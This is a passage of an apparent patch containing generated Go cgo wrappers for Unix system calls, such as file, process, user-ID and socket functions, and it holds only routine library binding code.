-+ r0, er := C.faccessat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchdir(fd int) (err error) {
-+ r0, er := C.fchdir(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchmod(fd int, mode uint32) (err error) {
-+ r0, er := C.fchmod(C.int(fd), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchmodat(dirfd int, path string, mode uint32, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.fchmodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.fchownat(C.int(dirfd), C.uintptr_t(_p0), C.int(uid), C.int(gid), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fdatasync(fd int) (err error) {
-+ r0, er := C.fdatasync(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fsync(fd int) (err error) {
-+ r0, er := C.fsync(C.int(fd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpgid(pid int) (pgid int, err error) {
-+ r0, er := C.getpgid(C.int(pid))
-+ pgid = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpgrp() (pid int) {
-+ r0, _ := C.getpgrp()
-+ pid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpid() (pid int) {
-+ r0, _ := C.getpid()
-+ pid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getppid() (ppid int) {
-+ r0, _ := C.getppid()
-+ ppid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getpriority(which int, who int) (prio int, err error) {
-+ r0, er := C.getpriority(C.int(which), C.int(who))
-+ prio = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getrusage(who int, rusage *Rusage) (err error) {
-+ r0, er := C.getrusage(C.int(who), C.uintptr_t(uintptr(unsafe.Pointer(rusage))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getsid(pid int) (sid int, err error) {
-+ r0, er := C.getsid(C.int(pid))
-+ sid = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Kill(pid int, sig Signal) (err error) {
-+ r0, er := C.kill(C.int(pid), C.int(sig))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Klogctl(typ int, buf []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
-+ r0, er := C.syslog(C.int(typ), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mkdir(dirfd int, path string, mode uint32) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mkdir(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mkdirat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mkfifo(path string, mode uint32) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mkfifo(C.uintptr_t(_p0), C.uint(mode))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mknod(path string, mode uint32, dev int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mknod(C.uintptr_t(_p0), C.uint(mode), C.int(dev))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.mknodat(C.int(dirfd), C.uintptr_t(_p0), C.uint(mode), C.int(dev))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-+ r0, er := C.nanosleep(C.uintptr_t(uintptr(unsafe.Pointer(time))), C.uintptr_t(uintptr(unsafe.Pointer(leftover))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Open(path string, mode int, perm uint32) (fd int, err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.open64(C.uintptr_t(_p0), C.int(mode), C.uint(perm))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Openat(dirfd int, path string, flags int, mode uint32) (fd int, err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.openat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.uint(mode))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func read(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.read(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Readlink(path string, buf []byte) (n int, err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ var _p1 *byte
-+ if len(buf) > 0 {
-+ _p1 = &buf[0]
-+ }
-+ var _p2 int
-+ _p2 = len(buf)
-+ r0, er := C.readlink(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(_p1))), C.size_t(_p2))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(oldpath)))
-+ _p1 := uintptr(unsafe.Pointer(C.CString(newpath)))
-+ r0, er := C.renameat(C.int(olddirfd), C.uintptr_t(_p0), C.int(newdirfd), C.uintptr_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setdomainname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.setdomainname(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Sethostname(p []byte) (err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.sethostname(C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setpgid(pid int, pgid int) (err error) {
-+ r0, er := C.setpgid(C.int(pid), C.int(pgid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setsid() (pid int, err error) {
-+ r0, er := C.setsid()
-+ pid = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Settimeofday(tv *Timeval) (err error) {
-+ r0, er := C.settimeofday(C.uintptr_t(uintptr(unsafe.Pointer(tv))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setuid(uid int) (err error) {
-+ r0, er := C.setuid(C.int(uid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setgid(uid int) (err error) {
-+ r0, er := C.setgid(C.int(uid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setpriority(which int, who int, prio int) (err error) {
-+ r0, er := C.setpriority(C.int(which), C.int(who), C.int(prio))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statx(dirfd int, path string, flags int, mask int, stat *Statx_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.statx(C.int(dirfd), C.uintptr_t(_p0), C.int(flags), C.int(mask), C.uintptr_t(uintptr(unsafe.Pointer(stat))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Sync() {
-+ C.sync()
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Times(tms *Tms) (ticks uintptr, err error) {
-+ r0, er := C.times(C.uintptr_t(uintptr(unsafe.Pointer(tms))))
-+ ticks = uintptr(r0)
-+ if uintptr(r0) == ^uintptr(0) && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Umask(mask int) (oldmask int) {
-+ r0, _ := C.umask(C.int(mask))
-+ oldmask = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Uname(buf *Utsname) (err error) {
-+ r0, er := C.uname(C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Unlink(path string) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.unlink(C.uintptr_t(_p0))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Unlinkat(dirfd int, path string, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.unlinkat(C.int(dirfd), C.uintptr_t(_p0), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Ustat(dev int, ubuf *Ustat_t) (err error) {
-+ r0, er := C.ustat(C.int(dev), C.uintptr_t(uintptr(unsafe.Pointer(ubuf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func write(fd int, p []byte) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.write(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func readlen(fd int, p *byte, np int) (n int, err error) {
-+ r0, er := C.read(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(p))), C.size_t(np))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func writelen(fd int, p *byte, np int) (n int, err error) {
-+ r0, er := C.write(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(p))), C.size_t(np))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Dup2(oldfd int, newfd int) (err error) {
-+ r0, er := C.dup2(C.int(oldfd), C.int(newfd))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fadvise(fd int, offset int64, length int64, advice int) (err error) {
-+ r0, er := C.posix_fadvise64(C.int(fd), C.longlong(offset), C.longlong(length), C.int(advice))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fchown(fd int, uid int, gid int) (err error) {
-+ r0, er := C.fchown(C.int(fd), C.int(uid), C.int(gid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstat(fd int, stat *Stat_t) (err error) {
-+ r0, er := C.fstat(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(stat))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func fstatat(dirfd int, path string, stat *Stat_t, flags int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.fstatat(C.int(dirfd), C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(stat))), C.int(flags))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Fstatfs(fd int, buf *Statfs_t) (err error) {
-+ r0, er := C.fstatfs(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Ftruncate(fd int, length int64) (err error) {
-+ r0, er := C.ftruncate(C.int(fd), C.longlong(length))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getegid() (egid int) {
-+ r0, _ := C.getegid()
-+ egid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Geteuid() (euid int) {
-+ r0, _ := C.geteuid()
-+ euid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getgid() (gid int) {
-+ r0, _ := C.getgid()
-+ gid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Getuid() (uid int) {
-+ r0, _ := C.getuid()
-+ uid = int(r0)
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Lchown(path string, uid int, gid int) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.lchown(C.uintptr_t(_p0), C.int(uid), C.int(gid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Listen(s int, n int) (err error) {
-+ r0, er := C.listen(C.int(s), C.int(n))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func lstat(path string, stat *Stat_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.lstat(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(stat))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pause() (err error) {
-+ r0, er := C.pause()
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pread(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.pread64(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.longlong(offset))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pwrite(fd int, p []byte, offset int64) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.pwrite64(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.longlong(offset))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Select(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (n int, err error) {
-+ r0, er := C.c_select(C.int(nfd), C.uintptr_t(uintptr(unsafe.Pointer(r))), C.uintptr_t(uintptr(unsafe.Pointer(w))), C.uintptr_t(uintptr(unsafe.Pointer(e))), C.uintptr_t(uintptr(unsafe.Pointer(timeout))))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Pselect(nfd int, r *FdSet, w *FdSet, e *FdSet, timeout *Timespec, sigmask *Sigset_t) (n int, err error) {
-+ r0, er := C.pselect(C.int(nfd), C.uintptr_t(uintptr(unsafe.Pointer(r))), C.uintptr_t(uintptr(unsafe.Pointer(w))), C.uintptr_t(uintptr(unsafe.Pointer(e))), C.uintptr_t(uintptr(unsafe.Pointer(timeout))), C.uintptr_t(uintptr(unsafe.Pointer(sigmask))))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setregid(rgid int, egid int) (err error) {
-+ r0, er := C.setregid(C.int(rgid), C.int(egid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Setreuid(ruid int, euid int) (err error) {
-+ r0, er := C.setreuid(C.int(ruid), C.int(euid))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Shutdown(fd int, how int) (err error) {
-+ r0, er := C.shutdown(C.int(fd), C.int(how))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Splice(rfd int, roff *int64, wfd int, woff *int64, len int, flags int) (n int64, err error) {
-+ r0, er := C.splice(C.int(rfd), C.uintptr_t(uintptr(unsafe.Pointer(roff))), C.int(wfd), C.uintptr_t(uintptr(unsafe.Pointer(woff))), C.int(len), C.int(flags))
-+ n = int64(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func stat(path string, statptr *Stat_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.stat(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(statptr))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Statfs(path string, buf *Statfs_t) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.statfs(C.uintptr_t(_p0), C.uintptr_t(uintptr(unsafe.Pointer(buf))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func Truncate(path string, length int64) (err error) {
-+ _p0 := uintptr(unsafe.Pointer(C.CString(path)))
-+ r0, er := C.truncate(C.uintptr_t(_p0), C.longlong(length))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func bind(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ r0, er := C.bind(C.int(s), C.uintptr_t(uintptr(addr)), C.uintptr_t(uintptr(addrlen)))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func connect(s int, addr unsafe.Pointer, addrlen _Socklen) (err error) {
-+ r0, er := C.connect(C.int(s), C.uintptr_t(uintptr(addr)), C.uintptr_t(uintptr(addrlen)))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getgroups(n int, list *_Gid_t) (nn int, err error) {
-+ r0, er := C.getgroups(C.int(n), C.uintptr_t(uintptr(unsafe.Pointer(list))))
-+ nn = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setgroups(n int, list *_Gid_t) (err error) {
-+ r0, er := C.setgroups(C.int(n), C.uintptr_t(uintptr(unsafe.Pointer(list))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockopt(s int, level int, name int, val unsafe.Pointer, vallen *_Socklen) (err error) {
-+ r0, er := C.getsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(uintptr(val)), C.uintptr_t(uintptr(unsafe.Pointer(vallen))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func setsockopt(s int, level int, name int, val unsafe.Pointer, vallen uintptr) (err error) {
-+ r0, er := C.setsockopt(C.int(s), C.int(level), C.int(name), C.uintptr_t(uintptr(val)), C.uintptr_t(vallen))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socket(domain int, typ int, proto int) (fd int, err error) {
-+ r0, er := C.socket(C.int(domain), C.int(typ), C.int(proto))
-+ fd = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func socketpair(domain int, typ int, proto int, fd *[2]int32) (err error) {
-+ r0, er := C.socketpair(C.int(domain), C.int(typ), C.int(proto), C.uintptr_t(uintptr(unsafe.Pointer(fd))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getpeername(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ r0, er := C.getpeername(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func getsockname(fd int, rsa *RawSockaddrAny, addrlen *_Socklen) (err error) {
-+ r0, er := C.getsockname(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(rsa))), C.uintptr_t(uintptr(unsafe.Pointer(addrlen))))
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func recvfrom(fd int, p []byte, flags int, from *RawSockaddrAny, fromlen *_Socklen) (n int, err error) {
-+ var _p0 *byte
-+ if len(p) > 0 {
-+ _p0 = &p[0]
-+ }
-+ var _p1 int
-+ _p1 = len(p)
-+ r0, er := C.recvfrom(C.int(fd), C.uintptr_t(uintptr(unsafe.Pointer(_p0))), C.size_t(_p1), C.int(flags), C.uintptr_t(uintptr(unsafe.Pointer(from))), C.uintptr_t(uintptr(unsafe.Pointer(fromlen))))
-+ n = int(r0)
-+ if r0 == -1 && er != nil {
-+ err = er
-+ }
-+ return
-+}
-+
-+// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-+
-+func sendto(s int, buf []byte, flags int, to unsafe.Pointer, addrlen _Socklen) (err error) {
-+ var _p0 *byte
-+ if len(buf) > 0 {
-+ _p0 = &buf[0]
-+ }
-+ var _p1 int
-+ _p1 = len(buf)
